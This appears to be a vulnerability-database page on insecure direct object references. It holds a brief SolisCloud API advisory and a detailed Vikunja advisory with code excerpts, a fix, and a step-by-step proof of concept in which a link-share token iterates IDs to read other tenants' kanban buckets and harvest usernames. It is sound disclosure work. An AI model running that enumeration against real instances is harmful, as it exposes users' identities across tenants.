"modified": "2026-09-02T12:31:28Z",
"published": "2026-09-02T06:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81194"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/727903d4-ce0f-4ab4-bbd4-c973091e0b8f"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RJ4P-QC9G-J2P3
Vulnerability from github – Published: 2025-12-05 00:31 – Updated: 2025-12-05 00:31The SolisCloud API suffers from a Broken Access Control vulnerability, specifically an Insecure Direct Object Reference (IDOR), where any authenticated user can access detailed data of any plant by altering the plant_id in the request.
{
"affected": [],
"aliases": [
"CVE-2025-13932"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-04T22:15:47Z",
"severity": "HIGH"
},
"details": "The SolisCloud API suffers from a Broken Access Control vulnerability, specifically an Insecure Direct Object Reference (IDOR), where any authenticated user can access detailed data of any plant by altering the plant_id in the request.",
"id": "GHSA-rj4p-qc9g-j2p3",
"modified": "2025-12-05T00:31:05Z",
"published": "2025-12-05T00:31:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13932"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-338-06"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-RJ9J-8772-4H6C
Vulnerability from github – Published: 2026-10-09 20:42 – Updated: 2026-10-09 20:42Summary
The task-collection endpoint GET /api/v1/projects/{project}/views/{view}/tasks loads the requested project view straight from the URL path without verifying the caller is authorized for it. For a link-share token, the task query is correctly pinned to the share's own project, but the view is taken from the attacker-controlled path and never re-validated against the share. A holder of a share link to any project can therefore point the endpoint at any other tenant's kanban view and receive that view's bucket records — bucket titles plus the full created_by user object (username, name, id) — for every view in the instance. The same missing pre-authorization view load also yields a project/view-ID existence oracle (404 vs. non-404) usable by link shares and ordinary authenticated users alike.
Details
Root cause is in TaskCollection.ReadAll (pkg/models/task_collection.go).
- The view is resolved from the URL params before any permission check:
// pkg/models/task_collection.go (ReadAll)
if tf.ProjectViewID != 0 {
view, err = GetProjectViewByIDAndProject(s, tf.ProjectViewID, tf.ProjectID) // (URL params)
...
}
GetProjectViewByIDAndProject (pkg/models/project_view.go) filters only on WHERE id = ? AND project_id = ? — it performs no authorization. A valid (project, view) pair returns the view; an invalid pair returns ErrProjectViewDoesNotExist (HTTP 404).
- For a link-share caller, the code pins the task scope to the token's own project but reuses the attacker-supplied
view:
shareAuth, is := a.(*LinkSharing)
if is {
project, err := GetProjectSimpleByID(s, shareAuth.ProjectID) // token's project
...
return getTaskOrTasksInBuckets(s, a, []*Project{project}, view, opts, filteringForBucket, tf.forceFlatTasks)
// `view` is the foreign, attacker-controlled view — never validated against shareAuth.ProjectID
}
getTaskOrTasksInBuckets→GetTasksInBucketsForView(pkg/models/kanban.go) reads the buckets of that foreign view directly:
err = s.Where("project_view_id = ?", view.ID).OrderBy("position").Find(&buckets)
...
users, err := getUsersOrLinkSharesFromIDs(s, userIDs) // resolves each bucket's created_by
Each returned Bucket serializes CreatedBy *user.User as json:"created_by" (pkg/models/kanban.go), exposing the creating user's username, name, and id.
The normal (non-share) path is protected because it runs getRelevantProjectsFromCollection, which calls project.CanRead on the URL project and returns 403 before any bucket data is produced. Only the LinkSharing branch skips that gate, which is why the bucket disclosure is link-share-specific. ReadAllWeb (pkg/web/handler/read_all.go) performs no permission check of its own, so all authorization for this endpoint lives inside ReadAll.
Scope of the leak (verified against fixtures): the tasks returned inside the buckets are still constrained to the share's own project (getRawTasksForProjects filters tasks.project_id IN opts.projectIDs, derived from the share's project). So victim task contents do not leak; what leaks is the foreign view's bucket structure and, critically, the created_by user identities of arbitrary buckets instance-wide.
Introduced in v0.24.0 by the per-view kanban feature (feat(views)!: return tasks in buckets by view), which added the views/{view}/tasks endpoint and the foreign-view bucket load. The link-share branch predates it, but the two only combine into this bug from v0.24.0 onward.
Impact
A holder of a link-share token to any single project (link shares are designed to be handed out, often semi-publicly) can:
- Enumerate all project and view IDs instance-wide. IDs are sequential auto-increment integers; an invalid
(project, view)pair returns 404 while a valid one returns 200, giving a reliable existence oracle across all tenants. - Disclose the
created_byuser of any kanban view's buckets — username, display name, and user id. Because Vikunja auto-creates a default project with a Kanban view for every user, iterating view IDs enumerates usernames and user IDs for essentially every account on the instance. - Disclose bucket titles of every kanban view in the instance.
This is a cross-tenant broken-object-level-authorization bypass. It does not disclose victim task contents through this path, but instance-wide username/user-id enumeration plus kanban structure disclosure is a meaningful PII and reconnaissance exposure that defeats the tenant isolation the permission model is meant to enforce. The ID-enumeration oracle additionally works for any ordinary authenticated user (invalid combo → 404 vs. inaccessible combo → 403), because the view is loaded before the CanRead check.
Proof of Concept
Prerequisites: link sharing enabled (default), a share link to any project (call it project A), and any second project B (e.g. another tenant's) with a kanban view V_B.
- Authenticate the share link to obtain a share JWT:
POST /api/v1/shares/{shareHash}/auth - Using that token, request a foreign kanban view's tasks:
GET /api/v1/projects/{B}/views/{V_B}/tasks - The 200 response is a list of
Bucketobjects belonging to viewV_B— each withtitleand a populatedcreated_by(username, name, id) — even though the token has no relationship to project B. - Iterate
{B}/{V_B}over sequential integers: valid pairs return bucket lists (harvest usernames/ids), invalid pairs return 404.
Verified locally against the model fixtures: a LinkSharing{ProjectID: 1} (project 1 owned by user 1) calling TaskCollection{ProjectID: 2, ProjectViewID: 8}.ReadAll (project 2 owned by user 3) returns project 2's buckets ("testbucket4 - other project", "testbucket40") with their created_by user objects populated, and no error — while a nonexistent view id returns ErrProjectViewDoesNotExist.
Recommended Fix
In TaskCollection.ReadAll, before the view is loaded, pin the requested project to the link share's own project so any foreign view resolves to a 404 instead of leaking:
if shareAuth, is := a.(*LinkSharing); is {
tf.ProjectID = shareAuth.ProjectID
}
This is consistent with the existing behavior that already forces the task query to shareAuth.ProjectID, and it closes both the bucket disclosure and the share-token half of the enumeration oracle. As defence-in-depth, resolve the view's authorization against the authenticated caller for every auth type (not just link shares), so the endpoint never loads a view the caller cannot read — closing the 404-vs-403 existence oracle for ordinary users as well.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.3.0"
},
"package": {
"ecosystem": "Go",
"name": "code.vikunja.io/api"
},
"ranges": [
{
"events": [
{
"introduced": "0.24.0"
},
{
"fixed": "2.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-68582"
],
"database_specific": {
"cwe_ids": [
"CWE-639",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-09T20:42:33Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe task-collection endpoint `GET /api/v1/projects/{project}/views/{view}/tasks` loads the requested project view straight from the URL path without verifying the caller is authorized for it. For a **link-share token**, the task query is correctly pinned to the share\u0027s own project, but the *view* is taken from the attacker-controlled path and never re-validated against the share. A holder of a share link to **any** project can therefore point the endpoint at any other tenant\u0027s kanban view and receive that view\u0027s bucket records \u2014 bucket titles plus the full `created_by` user object (username, name, id) \u2014 for every view in the instance. The same missing pre-authorization view load also yields a project/view-ID existence oracle (404 vs. non-404) usable by link shares and ordinary authenticated users alike.\n\n## Details\n\nRoot cause is in `TaskCollection.ReadAll` (`pkg/models/task_collection.go`).\n\n1. The view is resolved from the URL params before any permission check:\n\n```go\n// pkg/models/task_collection.go (ReadAll)\nif tf.ProjectViewID != 0 {\n view, err = GetProjectViewByIDAndProject(s, tf.ProjectViewID, tf.ProjectID) // (URL params)\n ...\n}\n```\n\n`GetProjectViewByIDAndProject` (`pkg/models/project_view.go`) filters only on `WHERE id = ? AND project_id = ?` \u2014 it performs no authorization. A valid `(project, view)` pair returns the view; an invalid pair returns `ErrProjectViewDoesNotExist` (HTTP 404).\n\n2. For a link-share caller, the code pins the *task* scope to the token\u0027s own project but reuses the attacker-supplied `view`:\n\n```go\nshareAuth, is := a.(*LinkSharing)\nif is {\n project, err := GetProjectSimpleByID(s, shareAuth.ProjectID) // token\u0027s project\n ...\n return getTaskOrTasksInBuckets(s, a, []*Project{project}, view, opts, filteringForBucket, tf.forceFlatTasks)\n // `view` is the foreign, attacker-controlled view \u2014 never validated against shareAuth.ProjectID\n}\n```\n\n3. `getTaskOrTasksInBuckets` \u2192 `GetTasksInBucketsForView` (`pkg/models/kanban.go`) reads the buckets of that foreign view directly:\n\n```go\nerr = s.Where(\"project_view_id = ?\", view.ID).OrderBy(\"position\").Find(\u0026buckets)\n...\nusers, err := getUsersOrLinkSharesFromIDs(s, userIDs) // resolves each bucket\u0027s created_by\n```\n\nEach returned `Bucket` serializes `CreatedBy *user.User` as `json:\"created_by\"` (`pkg/models/kanban.go`), exposing the creating user\u0027s username, name, and id.\n\nThe normal (non-share) path is protected because it runs `getRelevantProjectsFromCollection`, which calls `project.CanRead` on the URL project and returns 403 before any bucket data is produced. Only the `LinkSharing` branch skips that gate, which is why the bucket disclosure is link-share-specific. `ReadAllWeb` (`pkg/web/handler/read_all.go`) performs no permission check of its own, so all authorization for this endpoint lives inside `ReadAll`.\n\nScope of the leak (verified against fixtures): the *tasks* returned inside the buckets are still constrained to the share\u0027s own project (`getRawTasksForProjects` filters `tasks.project_id IN opts.projectIDs`, derived from the share\u0027s project). So victim task **contents do not leak**; what leaks is the foreign view\u0027s bucket structure and, critically, the `created_by` user identities of arbitrary buckets instance-wide.\n\nIntroduced in v0.24.0 by the per-view kanban feature (`feat(views)!: return tasks in buckets by view`), which added the `views/{view}/tasks` endpoint and the foreign-view bucket load. The link-share branch predates it, but the two only combine into this bug from v0.24.0 onward.\n\n## Impact\n\nA holder of a link-share token to any single project (link shares are designed to be handed out, often semi-publicly) can:\n\n- **Enumerate all project and view IDs instance-wide.** IDs are sequential auto-increment integers; an invalid `(project, view)` pair returns 404 while a valid one returns 200, giving a reliable existence oracle across all tenants.\n- **Disclose the `created_by` user of any kanban view\u0027s buckets** \u2014 username, display name, and user id. Because Vikunja auto-creates a default project with a Kanban view for every user, iterating view IDs enumerates usernames and user IDs for essentially every account on the instance.\n- **Disclose bucket titles** of every kanban view in the instance.\n\nThis is a cross-tenant broken-object-level-authorization bypass. It does not disclose victim task contents through this path, but instance-wide username/user-id enumeration plus kanban structure disclosure is a meaningful PII and reconnaissance exposure that defeats the tenant isolation the permission model is meant to enforce. The ID-enumeration oracle additionally works for any ordinary authenticated user (invalid combo \u2192 404 vs. inaccessible combo \u2192 403), because the view is loaded before the `CanRead` check.\n\n## Proof of Concept\n\nPrerequisites: link sharing enabled (default), a share link to any project (call it project A), and any second project B (e.g. another tenant\u0027s) with a kanban view V_B.\n\n1. Authenticate the share link to obtain a share JWT:\n `POST /api/v1/shares/{shareHash}/auth`\n2. Using that token, request a foreign kanban view\u0027s tasks:\n `GET /api/v1/projects/{B}/views/{V_B}/tasks`\n3. The 200 response is a list of `Bucket` objects belonging to view `V_B` \u2014 each with `title` and a populated `created_by` (username, name, id) \u2014 even though the token has no relationship to project B.\n4. Iterate `{B}`/`{V_B}` over sequential integers: valid pairs return bucket lists (harvest usernames/ids), invalid pairs return 404.\n\nVerified locally against the model fixtures: a `LinkSharing{ProjectID: 1}` (project 1 owned by user 1) calling `TaskCollection{ProjectID: 2, ProjectViewID: 8}.ReadAll` (project 2 owned by user 3) returns project 2\u0027s buckets (`\"testbucket4 - other project\"`, `\"testbucket40\"`) with their `created_by` user objects populated, and no error \u2014 while a nonexistent view id returns `ErrProjectViewDoesNotExist`.\n\n## Recommended Fix\n\nIn `TaskCollection.ReadAll`, before the view is loaded, pin the requested project to the link share\u0027s own project so any foreign view resolves to a 404 instead of leaking:\n\n```go\nif shareAuth, is := a.(*LinkSharing); is {\n tf.ProjectID = shareAuth.ProjectID\n}\n```\n\nThis is consistent with the existing behavior that already forces the task query to `shareAuth.ProjectID`, and it closes both the bucket disclosure and the share-token half of the enumeration oracle. As defence-in-depth, resolve the view\u0027s authorization against the authenticated caller for every auth type (not just link shares), so the endpoint never loads a view the caller cannot read \u2014 closing the 404-vs-403 existence oracle for ordinary users as well.",
"id": "GHSA-rj9j-8772-4h6c",
"modified": "2026-10-09T20:42:33Z",
"published": "2026-10-09T20:42:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-rj9j-8772-4h6c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68582"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-vikunja/vikunja"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.4.0"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/vikunja-broken-object-level-authorization-via-link-share-token"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Vikunja: Link-share token reads any tenant\u0027s kanban buckets and enumerates usernames/IDs instance-wide (BOLA)"
}
Mitigation
For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
Mitigation
Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
Mitigation
Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
No CAPEC attack patterns related to this CWE.